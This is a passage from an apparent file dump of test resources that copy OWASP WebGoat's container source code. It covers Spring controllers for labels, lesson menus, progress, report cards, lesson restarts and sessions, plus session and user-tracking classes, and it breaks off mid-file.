 }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/service/LabelDebugService.java",
    "content": "/**\n * *************************************************************************************************\n *\n * <p>\n *\n * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n */\npackage org.owasp.webgoat.container.service;\n\nimport java.util.Map;\nimport lombok.AllArgsConstructor;\nimport lombok.extern.slf4j.Slf4j;\nimport org.owasp.webgoat.container.session.LabelDebugger;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.http.MediaType;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\n/**\n * LabelDebugService class.\n *\n * @author nbaars\n * @version $Id: $Id\n */\n@Controller\n@Slf4j\n@AllArgsConstructor\npublic class LabelDebugService {\n\n  private static final String URL_DEBUG_LABELS_MVC = \"/service/debug/labels.mvc\";\n  private static final String KEY_ENABLED = \"enabled\";\n  private static final String KEY_SUCCESS = \"success\";\n\n  private LabelDebugger labelDebugger;\n\n  /**\n   * Checks if debugging of labels is enabled or disabled\n   *\n   * @return a {@link org.springframework.http.ResponseEntity} object.\n   */\n  @RequestMapping(path = URL_DEBUG_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE)\n  public @ResponseBody ResponseEntity<Map<String, Object>> checkDebuggingStatus() {\n    log.debug(\"Checking label debugging, it is {}\", labelDebugger.isEnabled());\n    Map<String, Object> result = createResponse(labelDebugger.isEnabled());\n    return new ResponseEntity<>(result, HttpStatus.OK);\n  }\n\n  /**\n   * Sets the enabled flag on the label debugger to the given parameter\n   *\n   * @param enabled {@link org.owasp.webgoat.container.session.LabelDebugger} object\n   * @return a {@link org.springframework.http.ResponseEntity} object.\n   */\n  @RequestMapping(\n      value = URL_DEBUG_LABELS_MVC,\n      produces = MediaType.APPLICATION_JSON_VALUE,\n      params = KEY_ENABLED)\n  public @ResponseBody ResponseEntity<Map<String, Object>> setDebuggingStatus(\n      @RequestParam(\"enabled\") Boolean enabled) {\n    log.debug(\"Setting label debugging to {} \", labelDebugger.isEnabled());\n    Map<String, Object> result = createResponse(enabled);\n    labelDebugger.setEnabled(enabled);\n    return new ResponseEntity<>(result, HttpStatus.OK);\n  }\n\n  /**\n   * @param enabled {@link org.owasp.webgoat.container.session.LabelDebugger} object\n   * @return a {@link java.util.Map} object.\n   */\n  private Map<String, Object> createResponse(Boolean enabled) {\n    return Map.of(KEY_SUCCESS, Boolean.TRUE, KEY_ENABLED, enabled);\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/service/LabelService.java",
    "content": "/**\n * *************************************************************************************************\n *\n * <p>\n *\n * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n */\npackage org.owasp.webgoat.container.service;\n\nimport java.util.Properties;\nimport lombok.RequiredArgsConstructor;\nimport lombok.extern.slf4j.Slf4j;\nimport org.owasp.webgoat.container.i18n.Messages;\nimport org.owasp.webgoat.container.i18n.PluginMessages;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.http.MediaType;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * LabelService class.\n *\n * @author zupzup\n */\n@RestController\n@Slf4j\n@RequiredArgsConstructor\npublic class LabelService {\n\n  public static final String URL_LABELS_MVC = \"/service/labels.mvc\";\n  private final Messages messages;\n  private final PluginMessages pluginMessages;\n\n  /**\n   * @return a map of all the labels\n   */\n  @GetMapping(path = URL_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE)\n  @ResponseBody\n  public ResponseEntity<Properties> fetchLabels() {\n    var allProperties = new Properties();\n    allProperties.putAll(messages.getMessages());\n    allProperties.putAll(pluginMessages.getMessages());\n    return new ResponseEntity<>(allProperties, HttpStatus.OK);\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/service/LessonInfoService.java",
    "content": "package org.owasp.webgoat.container.service;\n\nimport lombok.AllArgsConstructor;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.owasp.webgoat.container.lessons.LessonInfoModel;\nimport org.owasp.webgoat.container.session.WebSession;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * LessonInfoService class.\n *\n * @author dm\n * @version $Id: $Id\n */\n@RestController\n@AllArgsConstructor\npublic class LessonInfoService {\n\n  private final WebSession webSession;\n\n  /**\n   * getLessonInfo.\n   *\n   * @return a {@link LessonInfoModel} object.\n   */\n  @RequestMapping(path = \"/service/lessoninfo.mvc\", produces = \"application/json\")\n  public @ResponseBody LessonInfoModel getLessonInfo() {\n    Lesson lesson = webSession.getCurrentLesson();\n    return new LessonInfoModel(lesson.getTitle(), false, false, false);\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/service/LessonMenuService.java",
    "content": "/**\n * *************************************************************************************************\n *\n * <p>\n *\n * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n */\npackage org.owasp.webgoat.container.service;\n\nimport java.util.ArrayList;\nimport java.util.Comparator;\nimport java.util.List;\nimport java.util.Map;\nimport lombok.AllArgsConstructor;\nimport org.owasp.webgoat.container.lessons.Assignment;\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.owasp.webgoat.container.lessons.LessonMenuItem;\nimport org.owasp.webgoat.container.lessons.LessonMenuItemType;\nimport org.owasp.webgoat.container.session.Course;\nimport org.owasp.webgoat.container.session.WebSession;\nimport org.owasp.webgoat.container.users.LessonTracker;\nimport org.owasp.webgoat.container.users.UserTracker;\nimport org.owasp.webgoat.container.users.UserTrackerRepository;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\n/**\n * LessonMenuService class.\n *\n * @author rlawson\n * @version $Id: $Id\n */\n@Controller\n@AllArgsConstructor\npublic class LessonMenuService {\n\n  public static final String URL_LESSONMENU_MVC = \"/service/lessonmenu.mvc\";\n  private final Course course;\n  private final WebSession webSession;\n  private UserTrackerRepository userTrackerRepository;\n\n  @Value(\"#{'${exclude.categories}'.split(',')}\")\n  private List<String> excludeCategories;\n\n  @Value(\"#{'${exclude.lessons}'.split(',')}\")\n  private List<String> excludeLessons;\n\n  /**\n   * Returns the lesson menu which is used to build the left nav\n   *\n   * @return a {@link java.util.List} object.\n   */\n  @RequestMapping(path = URL_LESSONMENU_MVC, produces = \"application/json\")\n  public @ResponseBody List<LessonMenuItem> showLeftNav() {\n    List<LessonMenuItem> menu = new ArrayList<>();\n    List<Category> categories = course.getCategories();\n    UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());\n\n    for (Category category : categories) {\n      if (excludeCategories.contains(category.name())) {\n        continue;\n      }\n      LessonMenuItem categoryItem = new LessonMenuItem();\n      categoryItem.setName(category.getName());\n      categoryItem.setType(LessonMenuItemType.CATEGORY);\n      // check for any lessons for this category\n      List<Lesson> lessons = course.getLessons(category);\n      lessons = lessons.stream().sorted(Comparator.comparing(Lesson::getTitle)).toList();\n      for (Lesson lesson : lessons) {\n        if (excludeLessons.contains(lesson.getName())) {\n          continue;\n        }\n        LessonMenuItem lessonItem = new LessonMenuItem();\n        lessonItem.setName(lesson.getTitle());\n        lessonItem.setLink(lesson.getLink());\n        lessonItem.setType(LessonMenuItemType.LESSON);\n        LessonTracker lessonTracker = userTracker.getLessonTracker(lesson);\n        boolean lessonSolved = lessonCompleted(lessonTracker.getLessonOverview(), lesson);\n        lessonItem.setComplete(lessonSolved);\n        categoryItem.addChild(lessonItem);\n      }\n      categoryItem.getChildren().sort((o1, o2) -> o1.getRanking() - o2.getRanking());\n      menu.add(categoryItem);\n    }\n    return menu;\n  }\n\n  private boolean lessonCompleted(Map<Assignment, Boolean> map, Lesson currentLesson) {\n    boolean result = true;\n    for (Map.Entry<Assignment, Boolean> entry : map.entrySet()) {\n      Assignment storedAssignment = entry.getKey();\n      for (Assignment lessonAssignment : currentLesson.getAssignments()) {\n        if (lessonAssignment.getName().equals(storedAssignment.getName())) {\n          result = result && entry.getValue();\n          break;\n        }\n      }\n    }\n    return result;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/service/LessonProgressService.java",
    "content": "package org.owasp.webgoat.container.service;\n\nimport java.util.List;\nimport lombok.AllArgsConstructor;\nimport lombok.Getter;\nimport lombok.RequiredArgsConstructor;\nimport org.owasp.webgoat.container.lessons.Assignment;\nimport org.owasp.webgoat.container.session.WebSession;\nimport org.owasp.webgoat.container.users.UserTrackerRepository;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\n/**\n * LessonProgressService class.\n *\n * @author webgoat\n */\n@Controller\n@RequiredArgsConstructor\npublic class LessonProgressService {\n\n  private final UserTrackerRepository userTrackerRepository;\n  private final WebSession webSession;\n\n  /**\n   * Endpoint for fetching the complete lesson overview which informs the user about whether all the\n   * assignments are solved. Used as the last page of the lesson to generate a lesson overview.\n   *\n   * @return list of assignments\n   */\n  @RequestMapping(value = \"/service/lessonoverview.mvc\", produces = \"application/json\")\n  @ResponseBody\n  public List<LessonOverview> lessonOverview() {\n    var userTracker = userTrackerRepository.findByUser(webSession.getUserName());\n    var currentLesson = webSession.getCurrentLesson();\n\n    if (currentLesson != null) {\n      var lessonTracker = userTracker.getLessonTracker(currentLesson);\n      return lessonTracker.getLessonOverview().entrySet().stream()\n          .map(entry -> new LessonOverview(entry.getKey(), entry.getValue()))\n          .toList();\n    }\n    return List.of();\n  }\n\n  @AllArgsConstructor\n  @Getter\n  // Jackson does not really like returning a map of <Assignment, Boolean> directly, see\n  // http://stackoverflow.com/questions/11628698/can-we-make-object-as-key-in-map-when-using-json\n  // so creating intermediate object is the easiest solution\n  private static class LessonOverview {\n\n    private Assignment assignment;\n    private Boolean solved;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/service/LessonTitleService.java",
    "content": "package org.owasp.webgoat.container.service;\n\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.owasp.webgoat.container.session.WebSession;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\n/**\n * LessonTitleService class.\n *\n * @author dm\n * @version $Id: $Id\n */\n@Controller\npublic class LessonTitleService {\n\n  private final WebSession webSession;\n\n  public LessonTitleService(final WebSession webSession) {\n    this.webSession = webSession;\n  }\n\n  /**\n   * Returns the title for the current attack\n   *\n   * @return a {@link java.lang.String} object.\n   */\n  @RequestMapping(path = \"/service/lessontitle.mvc\", produces = \"application/html\")\n  public @ResponseBody String showPlan() {\n    Lesson lesson = webSession.getCurrentLesson();\n    return lesson != null ? lesson.getTitle() : \"\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/service/ReportCardService.java",
    "content": "/**\n * *************************************************************************************************\n *\n * <p>\n *\n * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n */\npackage org.owasp.webgoat.container.service;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport lombok.AllArgsConstructor;\nimport lombok.Getter;\nimport lombok.Setter;\nimport org.owasp.webgoat.container.i18n.PluginMessages;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.owasp.webgoat.container.session.Course;\nimport org.owasp.webgoat.container.session.WebSession;\nimport org.owasp.webgoat.container.users.LessonTracker;\nimport org.owasp.webgoat.container.users.UserTracker;\nimport org.owasp.webgoat.container.users.UserTrackerRepository;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\n/**\n * ReportCardService\n *\n * @author nbaars\n * @version $Id: $Id\n */\n@Controller\n@AllArgsConstructor\npublic class ReportCardService {\n\n  private final WebSession webSession;\n  private final UserTrackerRepository userTrackerRepository;\n  private final Course course;\n  private final PluginMessages pluginMessages;\n\n  /**\n   * Endpoint which generates the report card for the current use to show the stats on the solved\n   * lessons\n   */\n  @GetMapping(path = \"/service/reportcard.mvc\", produces = \"application/json\")\n  @ResponseBody\n  public ReportCard reportCard() {\n    final ReportCard reportCard = new ReportCard();\n    reportCard.setTotalNumberOfLessons(course.getTotalOfLessons());\n    reportCard.setTotalNumberOfAssignments(course.getTotalOfAssignments());\n\n    UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());\n    reportCard.setNumberOfAssignmentsSolved(userTracker.numberOfAssignmentsSolved());\n    reportCard.setNumberOfLessonsSolved(userTracker.numberOfLessonsSolved());\n    for (Lesson lesson : course.getLessons()) {\n      LessonTracker lessonTracker = userTracker.getLessonTracker(lesson);\n      final LessonStatistics lessonStatistics = new LessonStatistics();\n      lessonStatistics.setName(pluginMessages.getMessage(lesson.getTitle()));\n      lessonStatistics.setNumberOfAttempts(lessonTracker.getNumberOfAttempts());\n      lessonStatistics.setSolved(lessonTracker.isLessonSolved());\n      reportCard.lessonStatistics.add(lessonStatistics);\n    }\n    return reportCard;\n  }\n\n  @Getter\n  @Setter\n  private final class ReportCard {\n\n    private int totalNumberOfLessons;\n    private int totalNumberOfAssignments;\n    private int solvedLessons;\n    private int numberOfAssignmentsSolved;\n    private int numberOfLessonsSolved;\n    private List<LessonStatistics> lessonStatistics = new ArrayList<>();\n  }\n\n  @Setter\n  @Getter\n  private final class LessonStatistics {\n    private String name;\n    private boolean solved;\n    private int numberOfAttempts;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/service/RestartLessonService.java",
    "content": "/***************************************************************************************************\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n * <p>\n * Copyright (c) 2002 - 2014 Bruce Mayhew\n * <p>\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n * <p>\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n * <p>\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n * <p>\n * Getting Source ==============\n * <p>\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software\n * projects.\n */\n\npackage org.owasp.webgoat.container.service;\n\nimport java.util.List;\nimport java.util.function.Function;\nimport lombok.AllArgsConstructor;\nimport lombok.extern.slf4j.Slf4j;\nimport org.flywaydb.core.Flyway;\nimport org.owasp.webgoat.container.lessons.Initializeable;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.owasp.webgoat.container.session.WebSession;\nimport org.owasp.webgoat.container.users.UserTracker;\nimport org.owasp.webgoat.container.users.UserTrackerRepository;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.ResponseStatus;\n\n@Controller\n@AllArgsConstructor\n@Slf4j\npublic class RestartLessonService {\n\n  private final WebSession webSession;\n  private final UserTrackerRepository userTrackerRepository;\n  private final Function<String, Flyway> flywayLessons;\n  private final List<Initializeable> lessonsToInitialize;\n\n  @RequestMapping(path = \"/service/restartlesson.mvc\", produces = \"text/text\")\n  @ResponseStatus(value = HttpStatus.OK)\n  public void restartLesson() {\n    Lesson al = webSession.getCurrentLesson();\n    log.debug(\"Restarting lesson: \" + al);\n\n    UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());\n    userTracker.reset(al);\n    userTrackerRepository.save(userTracker);\n\n    var flyway = flywayLessons.apply(webSession.getUserName());\n    flyway.clean();\n    flyway.migrate();\n\n    lessonsToInitialize.forEach(i -> i.initialize(webSession.getUser()));\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/service/SessionService.java",
    "content": "/*\n * To change this license header, choose License Headers in Project Properties.\n * To change this template file, choose Tools | Templates\n * and open the template in the editor.\n */\n\npackage org.owasp.webgoat.container.service;\n\nimport lombok.RequiredArgsConstructor;\nimport org.owasp.webgoat.container.i18n.Messages;\nimport org.owasp.webgoat.container.session.WebSession;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\n@Controller\n@RequiredArgsConstructor\npublic class SessionService {\n\n  private final WebSession webSession;\n  private final RestartLessonService restartLessonService;\n  private final Messages messages;\n\n  @RequestMapping(path = \"/service/enable-security.mvc\", produces = \"application/json\")\n  @ResponseBody\n  public String applySecurity() {\n    webSession.toggleSecurity();\n    restartLessonService.restartLesson();\n\n    var msg = webSession.isSecurityEnabled() ? \"security.enabled\" : \"security.disabled\";\n    return messages.getMessage(msg);\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/session/Course.java",
    "content": "package org.owasp.webgoat.container.session;\n\nimport java.util.List;\nimport lombok.extern.slf4j.Slf4j;\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\n\n/**\n * ************************************************************************************************\n *\n * <p>\n *\n * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n *\n * @author Bruce Mayhew <a href=\"http://code.google.com/p/webgoat\">WebGoat</a>\n * @version $Id: $Id\n * @since October 28, 2003\n */\n@Slf4j\npublic class Course {\n\n  private List<Lesson> lessons;\n\n  public Course(List<Lesson> lessons) {\n    this.lessons = lessons;\n  }\n\n  /**\n   * Gets the categories attribute of the Course object\n   *\n   * @return The categories value\n   */\n  public List<Category> getCategories() {\n    return lessons.parallelStream().map(Lesson::getCategory).distinct().sorted().toList();\n  }\n\n  /**\n   * Gets the firstLesson attribute of the Course object\n   *\n   * @return The firstLesson value\n   */\n  public Lesson getFirstLesson() {\n    // Category 0 is the admin function. We want the first real category\n    // to be returned. This is normally the General category and the Http Basics lesson\n    return getLessons(getCategories().get(0)).get(0);\n  }\n\n  /**\n   * Getter for the field <code>lessons</code>.\n   *\n   * @return a {@link java.util.List} object.\n   */\n  public List<Lesson> getLessons() {\n    return this.lessons;\n  }\n\n  /**\n   * Getter for the field <code>lessons</code>.\n   *\n   * @param category a {@link org.owasp.webgoat.container.lessons.Category} object.\n   * @return a {@link java.util.List} object.\n   */\n  public List<Lesson> getLessons(Category category) {\n    return this.lessons.stream().filter(l -> l.getCategory() == category).toList();\n  }\n\n  public void setLessons(List<Lesson> lessons) {\n    this.lessons = lessons;\n  }\n\n  public int getTotalOfLessons() {\n    return this.lessons.size();\n  }\n\n  public int getTotalOfAssignments() {\n    return this.lessons.stream()\n        .reduce(0, (total, lesson) -> lesson.getAssignments().size() + total, Integer::sum);\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/session/LabelDebugger.java",
    "content": "package org.owasp.webgoat.container.session;\n\nimport java.io.Serializable;\n\n/**\n * LabelDebugger class.\n *\n * @author dm\n * @version $Id: $Id\n */\npublic class LabelDebugger implements Serializable {\n\n  private boolean enabled = false;\n\n  /**\n   * isEnabled.\n   *\n   * @return a boolean.\n   */\n  public boolean isEnabled() {\n    return enabled;\n  }\n\n  /** Enables label debugging */\n  public void enable() {\n    this.enabled = true;\n  }\n\n  /** Disables label debugging */\n  public void disable() {\n    this.enabled = false;\n  }\n\n  /**\n   * Sets the status to enabled\n   *\n   * @param enabled {@link org.owasp.webgoat.container.session.LabelDebugger} object\n   */\n  public void setEnabled(boolean enabled) {\n    this.enabled = enabled;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/session/UserSessionData.java",
    "content": "package org.owasp.webgoat.container.session;\n\nimport java.util.HashMap;\n\n/** Created by jason on 1/4/17. */\npublic class UserSessionData {\n\n  private HashMap<String, Object> userSessionData = new HashMap<>();\n\n  public UserSessionData() {}\n\n  public UserSessionData(String key, String value) {\n    setValue(key, value);\n  }\n\n  // GETTERS & SETTERS\n  public Object getValue(String key) {\n    if (!userSessionData.containsKey(key)) {\n      return null;\n    }\n    // else\n    return userSessionData.get(key);\n  }\n\n  public void setValue(String key, Object value) {\n    if (userSessionData.containsKey(key)) {\n      userSessionData.replace(key, value);\n    } else {\n      userSessionData.put(key, value);\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/session/WebSession.java",
    "content": "package org.owasp.webgoat.container.session;\n\nimport java.io.Serializable;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.owasp.webgoat.container.users.WebGoatUser;\nimport org.springframework.security.core.context.SecurityContextHolder;\n\n/**\n * *************************************************************************************************\n *\n * <p>\n *\n * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n *\n * @author Jeff Williams <a href=\"http://www.aspectsecurity.com\">Aspect Security</a>\n * @author Bruce Mayhew <a href=\"http://code.google.com/p/webgoat\">WebGoat</a>\n * @version $Id: $Id\n * @since October 28, 2003\n */\npublic class WebSession implements Serializable {\n\n  private static final long serialVersionUID = -4270066103101711560L;\n  private final WebGoatUser currentUser;\n  private transient Lesson currentLesson;\n  private boolean securityEnabled;\n\n  public WebSession() {\n    this.currentUser =\n        (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();\n  }\n\n  /**\n   * Setter for the field <code>currentScreen</code>.\n   *\n   * @param lesson current lesson\n   */\n  public void setCurrentLesson(Lesson lesson) {\n    this.currentLesson = lesson;\n  }\n\n  /**\n   * getCurrentLesson.\n   *\n   * @return a {@link Lesson} object.\n   */\n  public Lesson getCurrentLesson() {\n    return this.currentLesson;\n  }\n\n  /**\n   * Gets the userName attribute of the WebSession object\n   *\n   * @return The userName value\n   */\n  public String getUserName() {\n    return currentUser.getUsername();\n  }\n\n  public WebGoatUser getUser() {\n    return currentUser;\n  }\n\n  public void toggleSecurity() {\n    this.securityEnabled = !this.securityEnabled;\n  }\n\n  public boolean isSecurityEnabled() {\n    return securityEnabled;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/users/LessonTracker.java",
    "content": "package org.owasp.webgoat.container.users;\n\nimport java.util.*;\nimport java.util.stream.Collectors;\nimport javax.persistence.*;\nimport lombok.Getter;\nimport org.owasp.webgoat.container.lessons.Assignment;\nimport org.owasp.webgoat.container.lessons.Lesson;\n\n/**\n * ************************************************************************************************\n *\n * <p>\n *\n * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n *\n * @author Bruce Mayhew <a href=\"http://code.google.com/p/webgoat\">WebGoat</a>\n * @version $Id: $Id\n * @since October 29, 2003\n */\n@Entity\npublic class LessonTracker {\n\n  @Id\n  @GeneratedValue(strategy = GenerationType.AUTO)\n  private Long id;\n\n  @Getter private String lessonName;\n\n  @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)\n  private final Set<Assignment> solvedAssignments = new HashSet<>();\n\n  @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)\n  private final Set<Assignment> allAssignments = new HashSet<>();\n\n  @Getter private int numberOfAttempts = 0;\n  @Version private Integer version;\n\n  private LessonTracker() {\n    // JPA\n  }\n\n  public LessonTracker(Lesson lesson) {\n    lessonName = lesson.getId();\n    allAssignments.addAll(lesson.getAssignments() == null ? List.of() : lesson.getAssignments());\n  }\n\n  public Optional<Assignment> 